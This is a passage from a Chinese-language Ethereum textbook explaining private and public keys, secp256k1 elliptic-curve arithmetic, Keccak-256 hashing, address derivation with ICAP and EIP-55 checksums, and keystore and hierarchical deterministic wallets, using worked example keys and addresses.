需要注意的是，私钥生成过程是离线的，不需要与以太坊网络有任何交互，甚至不需要与任何人有交互。要想选到一个无人会选的私钥，就需要生成真正的随机数。如果你自己选择一个数字，这样其他人也尝试这个数字（并花光你的以太币）的概率会大很多。使用非真随机数生成器（像大多数编程语言里的假随机rand函数）是个更差的主意，因为这种假随机更明显且容易重复。就像是在线账户里用到的密码，私钥也需要无法被猜到。幸运的是，你并不需要记得私钥，所以可以用最好的方法来选择私钥——真随机数。


 　不要尝试自己编程来创建随机数，或者使用那些编程语言类库中自带的“简易”随机数生成器。使用密码学安全的伪随机数生成器（如CSPRNG），并且使用熵源充足的随机源做种子。仔细阅读随机数生成器类库的文档，确保它在密码学上是安全的。正确实现CSPRNG也是保证私钥安全的关键。

下面是一个随机生成的私钥，以十六进制的格式显示（256个二进制位，显示为64个十六进制数，每个代表4比特）。






f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315










公钥



每个以太坊公钥都是椭圆曲线上的一个点，也就是说，每个公钥都是一组x、y坐标，这个坐标正好满足椭圆曲线方程。

简单地说，以太坊的公钥由两个数字组合在一起。这两个数字由私钥经过单向计算得来。这意味着通过私钥计算获得公钥是非常容易的，但是你不能反过来通过公钥算出它所对应的私钥。


 　前方高能！如果你感觉阅读之前几节中的数学概念比较困难，那么请略过后续的数学内容。有很多工具和库函数可以帮助你完成需要的数学计算。

公钥是通过对私钥使用椭圆曲线的乘法运算得来的，而这个乘法运算基本上是不可逆的：K=k*G，其中k是私钥，G是一个常量点，称为生成点，K是计算得来的公钥，*是椭圆曲线函数的乘法运算符号。这与普通乘法运算的规则是不同的，除了与普通乘法有相同的功能属性，其他都不一样。举个例子，反向运算（普通乘法的反向运算就是除法），也称为获取“离散对数”的计算，即在已知K的情况下求解k，是非常困难的，必须采用暴力穷举的方式尝试所有可能的k。

也就是说，椭圆曲线之上的算术运算跟常规的数学运算是不一样的。一个点（G）可以与一个整数（k）相乘来获得另外一个点（K）。但是椭圆曲线的世界里没有除法的概念。因此不可能简单地通过计算公钥K对G点的除法来计算私钥。这就是本章前面提到的单向数学函数。


 　椭圆曲线乘法就是我们在密码学中提到的“单向”函数：它很容易从一个方向（乘法）进行计算，但是不可能采用反向（除法）的方式计算。私钥的持有者很容易算出公钥，然后把公钥公开，因为他确信没有人可以通过这个公钥反向推算出私钥。这个神奇的数学算法造就了不可篡改和安全的数字签名，用来证明以太币的所有权，以及对合约进行控制。

在演示如何从私钥生成公钥之前，我们来看看椭圆曲线的细节。



椭圆曲线密码学的基本概念



椭圆曲线密码学是基于离散对数问题的非对称密码学（也称为公钥密码学），它是基于椭圆曲线上点位的加法和乘法的不可逆特性。

图4-1是一个椭圆曲线的例子，与以太坊协议使用的类似。




图4-1：椭圆曲线函数图像示例


 　以太坊使用跟比特币系统相同的椭圆曲线算法，称为secp256k1。这样以太坊就可以直接使用比特币系统中的大量椭圆曲线函数库和相关的开发工具。

以太坊使用一条特定的椭圆曲线和一组数学常量，这是一个被称为secp256k1的标准，由NIST设定。secp256k1曲线由下列函数定义，这些函数生成了椭圆曲线：




或




mod p（素数的模）表示曲线位于素数阶p的有限域中，这也可以表示为F

p


 ，其中的p=2
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 –1是一个非常大的素数。

曲线的定义位于素数阶p的有限域中，而不是我们常见的实数空间。这个曲线的模式就像是散布在两个维度上的一组点，这是很难图形化表示的。然而，对于位于实数域的椭圆曲线，对应的算法也是一样的。例如，图4-2展示了同样一个位于有限域的椭圆曲线，但是它的素数阶（17）要小得多，显示为一个网格中的一系列点。椭圆曲线使用的secp256k1可以被认为是比这个复杂得多的模式，散布在一个巨大无比的网格之中。




图4-2：椭圆曲线密码学：椭圆曲线F(p)，且p=17

例如，下面的Q点对应的（x，y）坐标是secp256k1曲线上的一个点位：






Q =



(49790390825249384486033144355916864607616083520101638681403973749255924539515,59574132161899900045862086493921015780032175291755807399284007721050341297360)







代码4-1演示了如何使用Python编程来检验这个点是否位于椭圆曲线上。变量x和y是Q点的坐标。变量p是椭圆曲线的素数阶（这个素数用来进行所有的求模计算）。Python代码的最后一行是椭圆曲线的等式（%运算符在Python中代表求模运算）。如果x和y的确是椭圆曲线上的点，那么它们就会满足方程，并且运算的结果是零（0L是一个零值长整数）。你可以自己编程尝试，通过Python的IDE，把下面的代码复制到>>>提示符之后：


代码4-1：通过Python检验这个点是否位于椭圆曲线上







Python 3.4.0 (default, Mar 30 2014, 19:23:13)



[GCC 4.2.1 Compatible Apple LLVM 5.1 (clang-503.0.38)] on darwin



Type "help", "copyright", "credits" or "license" for more information.



>>> p = 115792089237316195423570985008687907853269984665640564039457584007908834 \



671663



>>> x = 49790390825249384486033144355916864607616083520101638681403973749255924539515



>>> y = 59574132161899900045862086493921015780032175291755807399284007721050341297360



>>> (x ** 3 + 7 - y**2) % p



0L









椭圆曲线上的运算



椭圆曲线上的很多数学运算看上去跟我们在学校学习的整数世界的数学运算类似。特别是，我们可以定义一个加法运算符，它并不是做数字之间的加法，而是把曲线上的两个点相加。有了加法运算符以后，我们还可以定义乘法运算符，用来在一个点和一个整数之间进行乘法运算，类似于重复进行加法运算。

椭圆曲线上加法运算的定义就是给定椭圆曲线上的两个点P

1


 和P

2


 ，椭圆曲线上存在第三个点，满足P

3


 =P

1


 +P2。

从几何学的意义上来说，第三个点的计算其实是在P

1


 和P

2


 之间画一条线。这条线会与椭圆曲线存在唯一的相交点（超神奇），这个点称为P

3


 '=(x,y)，对应着在x轴我们就可以得到P

3


 =(x,-y)。

如果P
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 和P

2


 是同一点，那么P

1


 和P

2


 之间的这条线就应该是椭圆曲线上P

1


 （P

2


 ）点的切线。这条切线会跟椭圆曲线存在唯一的相交点。你可以通过微积分的方式来确定这条切线的斜率。这样的计算是真的可以产出结果的，即使我们只有曲线上的两个坐标，仍旧可以算出对应的切线斜率。

在椭圆曲线的数学运算中，存在一个“无限远点”，这个点类似常规数学中的零。在计算机中，它有时被表述为x=y=0（这并不满足椭圆曲线的方程，但这是一个很容易验证的例子）。有一些特殊的案例可以用来解释为什么我们需要这个无限远点。

在一些情况下（比如P

1


 和P

2


 有相同的x值，却有不同的y值），那么两点的连线就是一条垂直的直线，这样的情况下，P

3


 就是无限远点。

如果P

1


 是无限远点，那么P

1


 +P

2


 =P

2


 。同样，如果P

2


 是无限远点，那么P

1


 +P

2


 =P

1


 。这个例子展示了“无限远点”如何扮演着普通数学中零的作用。

这意味着，加法是满足结合律的，也就是说(A+B)+C=A+(B+C)。这意味着我们可以直接写A+B+C，即使不用圆括号，也不会产生运算上的歧义。

我们已经定义了加法，现在可以借此延伸出乘法的定义。对于椭圆曲线上的P点，如果k是一个整数，那么k*P=P+P+P+…+P（相加k次）。注意，有时候k会被称为“指数”，这比较容易令人混淆。



生成公钥



我们从随机得来的私钥k开始，使用椭圆曲线上预先定义好的名为生成点的G点来产生另一个位于椭圆曲线上的点，这就是对应的公钥K。

K=k*G

生成点由secp256k1椭圆曲线标准定义，在所有的secp256k1实现中，这个点保持不变，所有从这个曲线产生的公钥都是经过相同的生成点计算而来的。因为对于所有的以太坊用户而言，生成点始终保持不变，所以使用一个私钥k与生成点G计算之后，总是会得出相同的公钥K。k和K之间的关系是固定的，但是只能从一个方向进行计算，也就是通过k算出K。这也是为什么一个以太坊地址（从公钥K而来）可以被公开分享，而不用担心对应的私钥（k）可能会被人反向算出。

如同我们在上一节中提到的，k*G的乘法运算相当于是重复多次的加法运算，也就是G+G+G+…+G，重复k次。概括而言，为了从私钥k计算出公钥K，我们需要把生成点G反复相加k次。


 　通过私钥可以推算出公钥，但是通过公钥无法反向计算得出私钥，因为这个数学算法是单向的。

现在，让我们把这项计算用在之前“私钥”一节中生成的那个私钥，并通过这个私钥来计算得出公钥：






K = f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315 * G







一些密码学类库可以帮助我们使用椭圆曲线加法来计算K。计算所得的公钥K定义为一个点：

K=(x,y)

其中：






x = 6e145ccef1033dea239875dd00dfb4fee6e3348b84985c92f103444683bae07b



y = 83b5c38e5e2b0c8529d7fa3f64d46daa1ece2d9ac14cab9477d042c84c32ccd0







在以太坊协议中，你可能会看到采用130个十六进制字符（65字节）表示的公钥。这是由SECG所发布的行业标准的一种序列化编码方式，在高效密码学标准（SECI）中有文献记载（
http://www.secg.org/sec1-v2.pdf

 ）。这个标准定义了四种可能的前缀，用来标示椭圆曲线上的点位，见表4-1。

表4-1：序列化EC公钥前缀




以太坊只使用未压缩的公钥，因此唯一相关的前缀就是0x04。包括x和y坐标的公钥经过编码后的形态如下：






04 + x-coordinate (32 bytes/64 hex) + y-coordinate (32 bytes/64 hex)







因此，我们在上文计算得出的公钥，经过编码后的形态为：






046e145ccef1033dea239875dd00dfb4fee6e3348b84985c92f103444683bae07b83b5c38e5e2b0 \



c8529d7fa3f64d46daa1ece2d9ac14cab9477d042c84c32ccd0









椭圆曲线程序库



数字货币领域使用了secp256k1标准椭圆曲线的多个程序实现：


OpenSSL（
 
https://www.openssl.org/

 ）


OpenSSL程序库提供了非常丰富的密码学基础类库，包括完整的secp256k1。例如，我们可以使用EC_POINT_mul来获得公钥。


libsecp256k1（
 
https://github.com/bitcoin-core/secp256k1

 ）


比特币核心使用的是libsecp256k1，这是由C语言实现的secp256k1椭圆曲线和其他相关的密码学类库。该算法是从零开发的，旨在替代OpenSSL。相比OpenSSL，其在性能和安全性方面都更胜一筹。




密码学哈希函数



以太坊中，密码学哈希函数无处不在。实际上，哈希函数在所有的加密货币中都有着广泛的应用，密码学家Bruce Schneier（
http://bit.ly/2Q79qZp

 ）曾说过一句大实话：“相比加密算法，单向哈希函数在现代密码学中才是主力军。”

在这一节，我们将讨论哈希函数，探索其基本特性，并理解为何这些特性可以让哈希函数在现代密码学领域变得如此重要。我们在这里着重讨论哈希函数，是因为以太坊公钥到地址的转换过程中用到了哈希函数。哈希函数还可以用于创建数字指纹，帮助数据验证。

简单地说，哈希函数（
http://bit.ly/2CR26gD

 ）是一个可以将任意长度数据映射成固定长度数据的数学函数。哈希函数的输入称为预映射、消息，或就叫输入数据，哈希函数的输出数据称为哈希。密码学哈希函数（
http://bit.ly/2Jrn3jM

 ）是哈希函数中的一个特殊类别，具有特别的属性，可以很好地保护平台（如以太坊）的安全。

加密哈希函数是一种单向的哈希函数，可以将任意长度的数据映射为固定长度的比特序列。这种“单向性”意味着，如果我们只知道哈希函数的输出值，还原出输入数据在计算上是不可能的。要发现可能的输入值，唯一的方式就是暴力搜寻，检查每一个可能的输入是否能得到同样的输出值；给定无限的搜索空间，显然，求得原输入在实践中是不可能的。即便可以找到一些输入能产生同样的哈希值，也不一定就是我们想求的那个初始输入：因为哈希函数是“多对一”的函数。发现具有同样哈希值的两个输入的问题被称为哈希碰撞问题。粗略来说，哈希函数的性质越好，哈希碰撞的情形就越少。对以太坊来说，这基本上是不可能的。

让我们来认识一下密码哈希函数的五个主要特性：


确定性


同样的输入信息总是会产生相同的输出哈希。


可验证性


计算任意输入信息量的哈希运算非常高效（线性的计算性能）。


无关联性


对于输入消息的微小改变（哪怕是只改变一个比特）都会对输出结果的哈希造成巨大的变化，而且这样的变化与之前的消息之间没有任何关联性。


不可逆性


从哈希反向计算得出输入的原始信息是不现实的，只能通过暴力穷举式的尝试。


碰撞保护性


几乎不可能找到能够得到同一个哈希输出的两个不同信息。

这里的碰撞保护性对于防止伪造以太坊中的数字签名尤其重要。

这些属性的结合使得密码学哈希函数在安全领域有着广泛的应用：

·数据指纹

·数据一致性（错误侦测）

·工作量证明

·身份认证（密码哈希和密钥延伸）

·伪随机数生成器

·消息承诺（commit-reveal机制）

·唯一标识符

随着对以太坊的深入研究，我们会在系统中发现很多上述应用。



以太坊中的密码学哈希函数：Keccak-256



以太坊协议中多处用到了名为Keccak-256的密码学哈希函数。Keccak-256是2007年由NIST在SHA-3密码学哈希函数竞赛中提出的。Keccak胜出并最终在2015年成为FIPS 202标准。

然而，在以太坊的开发过程中，NIST标准并没有完全确定。在标准化过程完成后，NIST调整了Keccak中的一些参数，意在提升它的性能。与此同时，Edward Snowden披露的政府文档中揭示，NIST可能受到美国国家安全部门的影响，有意地弱化了Dual_EC_DRBG随机数生成器标准，在这个随机数生成器中加入了后门。这导致了公众对变更提案的强烈抵制，并极大地延缓了对应的SHA-3标准化进程。因此，以太坊基金会决定实现由发明者提出的最原始的Keccak算法，而不是在以太坊中使用经过NIST修改的SHA-3标准。


 　你会在以太坊的代码和文档中看到大量“SHA-3”的字样，这些多数都是指原始版本的Keccak-256，而不是经过SHA-3标准化的FIPS-202。这两者在实现层的差别微乎其微，只是填入参数的区别。但是对于给定的输入内容，Keccak-256所产出的哈希肯定与FIPS-202 SHA-3所产出的哈希完全不同。



我在使用哪一个哈希函数？



如果两个哈希都叫“SHA 3”，我们如何辨别所使用的程序库是FIPS-202 SHA-3还是Keccak-256？

最简单的办法是采用测试矢量，用一个给定输入的已知结果来判断。用于测试哈希函数最通用的方法是使用空的输入。如果使用哈希函数计算输入的空字符串的哈希值，应该得到如下结果：






Keccak256("") =



  c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470



SHA3("") =



  a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a







因此别管这个函数叫什么名字，我们都可以通过这一简单测试来确定它到底是原始的Keccak-256实现，还是NIST最终标准化的FIPS-202 SHA-3实现。记住，尽管在代码中有些地方采用了SHA-3的命名，以太坊使用的是Keccak-256实现。


 　由于以太坊使用的哈希函数（Keccak-256）与最终标准化的哈希函数（FIPS-202 SHA-3）命名造成了一些混乱，我们正想办法将所有实现代码、操作码、类库里的SHA3重新命名为Keccak256。详见ERC59（
https://github.com/ethereum/EIPs/issues/59

 ）。

接着，我们来检验一下Keccak-256在以太坊中的第一个应用：从公钥生成以太坊地址。




以太坊地址



以太坊地址是唯一标识符，从公钥或者合约通过单向哈希函数Keccak-256计算而来。

在之前的例子中，我们从私钥开始，通过椭圆曲线乘法运算获得了一个公钥。

私钥k：






k = f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315







公钥K（x和y坐标组合后以十六进制的方式显示）：






K = 6e145ccef1033dea239875dd00dfb4fee6e3348b84985c92f103444683bae07b83b5c38e5e...








 　在进行以太坊地址运算时，公钥的前缀必须是十六进制的04。

我们使用Keccak-256来计算公钥的哈希值：






Keccak256(K) = 2a5bc342ed616b5ba5732269001d3f1ef827552ae1114027bd3ecf1f086ba0f9







然后只保留后20位（大端序中最末的字节），这就是我们的以太坊地址：






001d3f1ef827552ae1114027bd3ecf1f086ba0f9







很多情况下，你会看到以太坊地址带有0x的前缀，这表示它采用十六进制的表示方式。






0x001d3f1ef827552ae1114027bd3ecf1f086ba0f9









以太坊地址格式



以太坊地址是十六进制的数字，来自于公钥经过Keccak-256哈希运算之后得出结果的后20位。

不同于比特币，比特币地址中包含了一个内置的校验器用于防止可能的错误地址输入。以太坊的地址是原生的十六进制数据，没有任何校验信息。

这个决定背后的原因在于，以太坊地址通常都隐藏在类似域名服务等高层抽象之后，如果需要，对应的校验也应该在抽象层之上实现。

然而，由于抽象层的开发十分缓慢，这样的设计决策也导致了一些问题，比如在网络生态早期，由于输入错误地址导致的一些以太币丢失。以太坊域名服务的开发进度较预期更慢，而钱包的其他编码标准也并没有在开发者中得到广泛应用。我们会在下文中介绍几种编码选择。



ICAP协议



互换客户端地址协议（ICAP）是一种与国际银行账号（IBAN）编码部分兼容的以太坊地址编码形式，为以太坊地址提供通用、经校验且可互操作的编码。ICAP地址可以用于编码以太坊地址，也可以用于编码注册在以太坊域名注册服务之下的通用名称。关于ICAP的更多内容，可以在Ethereum Wiki（
http://bit.ly/2JsZHKu

 ）上看到。

IBAN是一个国际通用的用于识别银行账户的编码体系，通常用于电汇转账，在欧元区等地域广泛使用。IBAN是一个中心化的、受到高度监管的服务。ICAP是一个去中心化实现，但仍与以太坊地址相兼容。

IBAN是一个包括34个数字字符（不区分大小写）的字符串，含有国家代码、校验码和每个国家内的银行识别码。

ICAP使用了与IBAN相同的结构，以代表以太坊的非标准国家代码“XE”开头，后接两位校验码与三个可能的账户标识符变量：


直接式


最多30个字符的大端序base-36编码，代表以太坊地址的末155比特。因为该编码方式无法包含通用以太坊地址的全部160比特，所以只能用于由一个或者多个零字节起始的以太坊地址。其优势在于与IBAN的字段长度和校验码格式兼容，例如：XE60HAMICDXSV5QXVJA7TJW47Q9CHWKJD（33字符）。


基础式


与直接式类似的编码方式，唯一区别是有31个字符。该方式可以编码任何以太坊地址，但结果是这样的编码与IBAN字段的验证不兼容。例如：XE18CHDJBPLTBCJ03FE9 O2NS0BPOJVQCU2P（35字符）。


非直接式


在编码中加入一个可以通过以太坊域名注册服务解析出以太坊地址的标识符。非直接式使用16位字符，包含一个资产识别符（如ETH）、一个域名（如XREG）和9个字符的人类可读的名字（如KITTYCATS）。例如：XE##ETHXREGKITTYCATS（20字符），##是两个经过计算得出的校验字符。

我们可以使用helpeth命令行工具创建ICAP地址。现在我们使用之前获得的那个私钥试验一下（给私钥添加0x前缀，然后将其作为helpeth命令的参数）：






    $ helpeth keyDetails \



    -p 0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315



Address: 0x001d3f1ef827552ae1114027bd3ecf1f086ba0f9



ICAP: XE60 HAMI CDXS V5QX VJA7 TJW4 7Q9C HWKJ D



Public key: 0x6e145ccef1033dea239875dd00dfb4fee6e3348b84985c92f103444683bae07b...







在提供ICAP地址的同时，helpeth命令也构建了一个十六进制的以太坊地址。在我们这个例子中生成的ICAP地址是：






XE60HAMICDXSV5QXVJA7TJW47Q9CHWKJD







因为我们的以太坊地址恰巧是从零开始的，所以可以使用ICAP编码方法中的“直接式”获得一个兼容IBAN格式的地址。可以看出它们是兼容的，因为这个ICAP地址的长度为33字符。

如果你的以太坊地址不是从零开始的，那么只能通过“基础式”编码，生成的地址是35字符长，与IBAN格式不兼容。


 　获得从零开始的以太坊地址的概率是1/256。为了生成这样一个地址，需要平均对256个不同的私钥进行运算，才能获得一个能够产生IBAN兼容格式的公钥地址。

目前阶段，只有少量的钱包支持ICAP地址格式。



EIP-55：十六进制编码地址的大写校验



由于ICAP和域名服务推进的速度缓慢，有人提出了一个新的编码标准方案（EIP-55）（
https://github.com/Ethereum/EIPs/blob/master/EIPS/eip-55.md

 ）。EIP-55为以太坊地址提供了一种后向兼容的校验机制，这个机制是通过修改十六进制地址中的大写字母来实现的。以太坊地址并不区分大小写，对于钱包软件来说，不论是包含大写字母还是小写字母格式的地址都是一样的。

通过修改地址中字母的大小写，我们可以获得一种校验，用于保护地址的完整性，避免地址输入式的人为错误。不支持EIP-55的钱包软件只需要忽略这些地址中存在的大小写组合形式。那些支持EIP-55的钱包软件，可以通过这些大小写来验证地址的正确性，错误检出率高达99.986%。

混合大小写编码方式的改动非常微妙，你在最初可能无法注意到其中的变化。我们的示例地址是：






0x001d3f1ef827552ae1114027bd3ecf1f086ba0f9







通过EIP-55混合大小写编码后，地址变为：






0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9







你能看出其中的区别吗？十六进制中的字符（A~F）有一部分已经变成大写了，有些却仍旧保持小写。

EIP-55的实现非常简单。我们对全小写的十六进制地址计算Keccak-256哈希。这个哈希被视为地址的数字指纹，为我们提供了一个方便的校验方式。任何地址中的微小变化，都会在对应的哈希中带来巨大的变化。这样我们就能发现可能存在的输入或者打字错误。接着，把这个哈希校验信息通过大写修改的方式融合到地址中。我们一步一步来看看是如何实现的：

1.针对全小写的地址计算一次哈希，不包括0x前缀：






Keccak256("001d3f1ef827552ae1114027bd3ecf1f086ba0f9") =



23a69c1653e4ebbb619b0b2cb8a9bad49892a8b9695d9a19d8f673ca991deae1







2.注意检查地址中的字母，如果在哈希中对应的十六进制大于或者等于8，就把这个字母改为大写。如果我们把地址和它的十六进制哈希值并列在一起，就很容易看出端倪：






Address: 001d3f1ef827552ae1114027bd3ecf1f086ba0f9



Hash : 23a69c1653e4ebbb619b0b2cb8a9bad49892a8b9...







在我们地址中，第四位有一个小写的d，哈希中对应位数的数值是6，因为它小于8，所以我们保持d的小写格式不变。地址中下一个字母是f，位于第六位。哈希值中对应位置的数字是c，它比8要大，因此我们把地址中的f改为大写的F。以此类推。如你所见，我们只使用了哈希值中的前20字节（40个十六进制字符）作为校验，因为地址中只有20字节。

检查地址中剩余的字符，看看你是否可以判断哪一个字母应该改为大写，它对应在哈希中的内容是什么？






Address: 001d3F1ef827552Ae1114027BD3ECF1f086bA0F9



Hash   : 23a69c1653e4ebbb619b0b2cb8a9bad49892a8b9...








用EIP-55编码方式检测错误


现在，我们来看看EIP-55格式的地址如何帮助我们发现错误。假设我们打印出了一个以太坊地址，是用EIP-55格式编码的：






0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9







现在假设我们在使用这个地址的时候犯了一个小错误。最后一个字母是大写的F，假设不小心把这个字母看成了E。我们把这个错误的地址输入钱包：






0x001d3F1ef827552Ae1114027BD3ECF1f086bA0E9







幸运的是，我们的钱包兼容EIP-55格式。它注意到了地址中混合的大小写字母，并且会尝试验证这个地址是否正确。钱包会把地址改为全小写，然后计算它的哈希：






Keccak256("001d3f1ef827552ae1114027bd3ecf1f086ba0e9") =



5429b5d9460122fb4b11af9cb88b7bb76d8928862e0a57d46dd18dd8e08a6927







如你所见，尽管地址只有一个字母出错了（而且e和f之间其实只有一个比特的差异而已），但这个地址的哈希发生了彻底的变化。这就是哈希函数带来的功能，可以用来生成非常有效的校验数据！

现在，我们把地址和它的哈希对齐，来检查大小写是否满足校验：






001d3F1ef827552Ae1114027BD3ECF1f086bA0E9



5429b5d9460122fb4b11af9cb88b7bb76d892886...







全都乱套了！有几个字母被错误地设定成了大写。现在，记住，大写的位置应该跟哈希校验的值匹配对应。

我们输入的地址中的大小写并不满足刚才计算得出的结果，这就意味着地址发生了变化，输入过程中发生了错误。




总结



在本章中，我们简要研究了公钥加密技术，集中讨论了公钥和私钥在以太坊中的运用，以及其他密码学工具，比如哈希函数在以太坊地址和验证中的作用。我们还了解了数字签名以及数字签名如何在不揭露私钥的情况下仍可以证明所有权的问题。在第5章，我们会将这些知识融合到一起，了解一下钱包是如何管理各种密钥的。




第5章　钱包



“钱包”这个词在以太坊中代表几种不同的东西。

抽象一些来说，钱包主要是一个用户界面。钱包控制对以太币的访问、管理私钥和地址、跟踪账户的余额、创建并签名交易。另外，有些以太坊钱包还可以跟智能合约交互，比如管理ERC20代币。

从更聚焦的角度而言，特别是从程序员的角度，钱包这个词特指用来存储和管理用户密钥的系统。每个钱包都包含一个密钥管理系统。针对一些钱包，可能这就是它唯一的模块。有些钱包可能在此基础上有更广的功能，例如担当基于以太坊去中心化应用或者DApp的入口（关于DApp，我们将在第12章做更详细的介绍）。目前并无针对钱包各种分类的非常明确的定义和界限。

在这一节，我们主要将钱包作为私钥的容器和管理密钥的系统。




钱包技术概述



这一节我们介绍一些用来构建钱包的技术，这些技术使得钱包变得用户友好、安全和灵活。

在设计钱包时，一个关键的考量就是权衡便利性与隐私性。最方便的以太坊钱包就是单一私钥和对应地址，在每一个场合中都使用同一个地址。但是，这样的解决方案就是隐私上的恶梦，因为任何人都可以轻松跟踪你的交易并将它们关联起来。为每一笔交易都使用一个新私钥对隐私性来说当然是最好的了，但这样就很难管理私钥。最佳平衡点并不容易把握，但这也解释了为什么钱包的设计是最重要的。

一个针对以太坊钱包的常见误解是认为钱包中包含以太币或者代币。实际上，钱包中只保存了密钥。以太币和其他各种代币都保存在以太坊区块链上。用户使用钱包中保存的私钥来签名交易，进而控制属于他们的以太币或代币。简单地说，以太坊钱包就是一个钥匙圈。话虽如此，因为钱包保存的私钥便是将以太币及代币发送给他人唯一需要的东西，所以这种定义上的差别在实际上就变得无关紧要了。这种差别真正重要的地方是改变一个人将钱包当作传统银行的中心化系统的心态（认为只有你及银行可以看到你账户中的钱，要转账时，只需告诉银行你确实有此愿望），转变为将其当成区块链平台的去中心化系统：系统中的每个人都可以看到账户余额，虽然他们可能不知道账户的主人是谁，而主人要转账时需要说服每一个人
 


[1]




 。在实践中，这就意味着有一种独立的方式可以检查账户余额，无须通过主人的钱包。并且，如果你不喜欢自己一开始用的钱包，大可将钱包中的账户转移到另一个钱包上。


 　以太坊钱包内包含密钥，而不是以太币或代币。钱包就是包含了一对私钥和公钥的钥匙圈。用这些私钥签名交易，用户就可以证明自己对以太币的所有权，以太币本身是保存在区块链之上的。

钱包主要分两类，取决于它所保存的密钥之间是否存在关联。

第一类是非确定性钱包，其中保存的每一个私钥都是通过不同的随机数相互独立地生成的。私钥之间没有任何关联。这类钱包被称为JBOK（Just a Bunch Of Keys）钱包。

第二类钱包是确定性钱包，其中所有的密钥都是从一个主密钥衍生而来的，这个主密钥就是种子密钥。这类钱包中所有的密钥之间都存在关联关系，如果获得了“种子密钥”，则可以重新生成所有密钥。确定性钱包有多种密钥派生方法。最常用的派生方法是使用一个类似树形的结构，我们称之为层级式确定性（hierarchical deterministic）钱包，或简称为HD钱包，具体请参见本章“层级式确定性钱包（BIP-32/BIP-44）”一节中的内容。

为了让确定性钱包在对抗数据丢失事件（比如手机失窃或掉进马桶）时稍微安全一点，我们一般会将种子编码为一个英文词列表（当然也可以使用其他语言），你可以将其抄写下来并在意外发生时使用。这样的列表就是钱包助记词。当然，如果有人得到了这些助记词，他们也可以重建你的确定性钱包，进而控制你的以太币和智能合约。因此，请非常非常非常谨慎地对待助记词！绝对不要用电子文件保存助记词，无论是在电脑还是手机上！在纸上写下来，保存在安全的地方。



非确定性（随机）钱包



以太坊第一版钱包（用于以太币预售阶段）的钱包文件保存了一个随机生成的私钥。这类钱包正在被确定性钱包所取代，因为它们管理、备份和使用起来都非常麻烦。举个例子，在使用以太坊时，避免重用密钥是保护隐私的好办法，即每次接收资金时都使用新地址（这样也需要新私钥）。你甚至可以每做一笔交易都使用一个新地址，虽然这样做费用不菲（如果你有很多代币要处理的话）。但是，随机密钥的缺点在于当你创建了多个随机密钥之后，必须备份所有密钥。如果不小心弄丢了其中的一个私钥（硬盘损坏、喝醉酒、手机被偷等），就无法访问你的资金和智能合约了。Type 0非确定性钱包并不是一个特别好的选择，尤其是在用户希望避免重用以太坊地址的情况下（即所有地址都是“一次性”的），每增加一个新地址都需要创建一个新的钱包文件。

很多以太坊客户端软件中的钱包（包括geth）使用JSON格式的keystore文件来保存单独（随机生成）的私钥。这个文件使用额外的密码来进行加密，以确保安全。JSON文件的内容如下：






{



    "address": "001d3f1ef827552ae1114027bd3ecf1f086ba0f9",



    "crypto": {



        "cipher": "aes-128-ctr",



        "ciphertext":



            "233a9f4d236ed0c13394b504b6da5df02587c8bf1ad8946f6f2b58f055507ece",



        "cipherparams": {



            "iv": "d10c6ec5bae81b6cb9144de81037fa15"



        },



        "kdf": "scrypt",



        "kdfparams": {



            "dklen": 32,



            "n": 262144,



            "p": 1,



            "r": 8,



            "salt":



                "99d37a47c7c9429c66976f643f386a61b78b97f3246adca89abe4245d2788407"



        },



        "mac": "594c8df1c8ee0ded8255a50caf07e8c12061fd859f4b7c76ab704b17c957e842"



    },



    "id": "4fcb2ba4-ccdb-424f-89d5-26cce304bf9c",



    "version": 3



}







keystore的格式遵循密钥导出函数（Key Derivation Function，KDF），这也被称为增强式密码算法，用于防止对文件的密码进行暴力、字典或彩虹表攻击。简单地说，JSON文件中的私钥并不是被密码直接加密的，相反，密码会通过连续的哈希运算进行扩展（然后再进行加密运算）。哈希计算重复262144轮，这个参数可以在JSON的crypto.kdfparams.n参数中看到。任何企图暴力破解密码的尝试，都必须经过262144轮的哈希计算，这会极大地降低攻击的速度，在密码长度和复杂度足够的情况下，暴力猜测密码的攻击不再有效（密码本身复杂度×262144轮哈希，计算量会非常大）。

有多种软件程序库可以读取和写入keystore格式，例如JavaScript库keythereum（
https://github.com/ethereumjs/keythereum

 ）。


 　除非是简单的测试场景，否则不推荐使用非确定性钱包。这类钱包的备份和使用都非常麻烦。正确的选择是使用业界标准的、采用助记词进行种子密钥备份的层级式确定性钱包。



确定性（种子密钥）钱包



确定性钱包或基于种子密钥的钱包，包含了从同一个种子密钥（或者叫主密钥）所派生的私钥。种子密钥是一个随机生成的数字，它与其他的数据（例如索引号或“链码”）一起用于生成私钥（本章后面会展开介绍）。在确定性钱包中，种子密钥就可以用来恢复所有的派生密钥，因此在创建钱包时备份种子密钥就足以保护资金和智能合约的安全了。种子密钥也可以用来进行钱包的导出或者导入操作，一次性把钱包中的所有派生密钥在不同的钱包软件中迁移。

这种设计也使得种子密钥的安全变得极端重要，因为只要拥有种子密钥就可以获得整个钱包的访问权限。但从另一个角度来说，将安全性相关的注意力集中到一段数据上也可以被视为一个优点。



层级式确定性钱包（BIP-32/BIP-44）



开发确定性钱包的目的是让人们可以更容易地从单一的“种子”中衍生出多个密钥。目前，确定性钱包最高级的形式便是由比特币的BIP-32标准（
http://bit.ly/2B2vQWs

 ）定义的HD钱包。HD钱包可以保存用树状结构推导的多个密钥，比如一个私钥可以推导出一系列子密钥，每一个子密钥都可以推导出一系列孙子密钥，如此类推至于无穷。图5-1演示了这种树状结构。




图5-1：HD钱包：从一个种子随机数中生成的一棵密钥树

相比随机非确定性钱包，HD钱包有两个主要的好处。首先，树形结构可以用来表示组织结构的含义，例如一组密钥专门用来收款，另外一组专门用来付款。也可以把这样的结构跟公司的组织架构对应，把树形结构的分支跟部门、区域、具体的职能或公司内部的账户分类相匹配。

第二个好处是HD钱包的用户可以创建一系列公钥，这个过程不需要访问对应的私钥。这样就允许HD钱包被用在相对不安全的服务器上，或者专门用于收款，这时候钱包中不需要保存可以操作以太币的私钥信息。



种子密钥和助记词(BIP-39)



